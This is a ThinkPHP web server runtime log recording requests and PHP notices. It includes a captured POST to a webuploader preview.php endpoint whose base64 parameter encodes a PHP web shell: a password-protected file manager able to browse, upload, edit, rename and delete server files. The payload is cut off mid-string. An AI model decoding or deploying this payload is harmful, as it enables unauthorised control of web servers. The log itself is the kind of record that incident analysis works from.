/data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] [ error ] [8]未定义数组索引: HTTP_USER_AGENT[/data/wwwroot/tianwei/think/runtime/route.php:32] --------------------------------------------------------------- [ 2024-10-23T08:35:32+08:00 ] 80.66.83.49 GET http://85.206.160.115/ [运行时间:0.001429s] [吞吐率:699.87req/s] [内存消耗:159.02kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] [ error ] [8]未定义数组索引: HTTP_USER_AGENT[/data/wwwroot/tianwei/think/runtime/route.php:32] [ error ] [8]未定义数组索引: HTTP_HOST[/data/wwwroot/tianwei/think/runtime/route.php:34] --------------------------------------------------------------- [ 2024-10-23T08:40:47+08:00 ] 205.169.39.8 GET 51tianwei.com/ [运行时间:0.001478s] [吞吐率:676.61req/s] [内存消耗:159.66kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36', 'accept-encoding' => 'gzip', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T08:47:09+08:00 ] 113.215.188.178 GET 59.110.137.245/ [运行时间:0.001879s] [吞吐率:532.20req/s] [内存消耗:160.75kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4236.174 Safari/537.36', 'accept-encoding' => 'gzip, x-gzip, deflate', 'host' => '59.110.137.245', 'connection' => 'keep-alive', 'cookie' => 'device=desktop; lang=zh-cn; theme=default; zentaosid=mmhhr19u6if1iu3lhtn4qbgl48', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T08:47:09+08:00 ] 113.215.188.178 GET 59.110.137.245/favicon.ico [运行时间:0.002689s] [吞吐率:371.87req/s] [内存消耗:133.69kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'favicon.ico', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4236.174 Safari/537.36', 'accept-encoding' => 'gzip, x-gzip, deflate', 'host' => '59.110.137.245', 'connection' => 'keep-alive', 'cookie' => 'device=desktop; lang=zh-cn; theme=default; zentaosid=mmhhr19u6if1iu3lhtn4qbgl48', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T08:57:53+08:00 ] 79.22.18.144 GET 127.0.0.1/ [运行时间:0.001528s] [吞吐率:654.54req/s] [内存消耗:159.85kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '127.0.0.1', 'user-agent' => 'Mozilla/5.0 (Linux; U; Android 4.0.3; ko-kr; LG-L160L Build/IML74K) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:03:47+08:00 ] 119.42.146.234 POST 59.110.137.245/lib/webuploader/0.1.5/server/preview.php [运行时间:0.004524s] [吞吐率:221.04req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'lib', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAg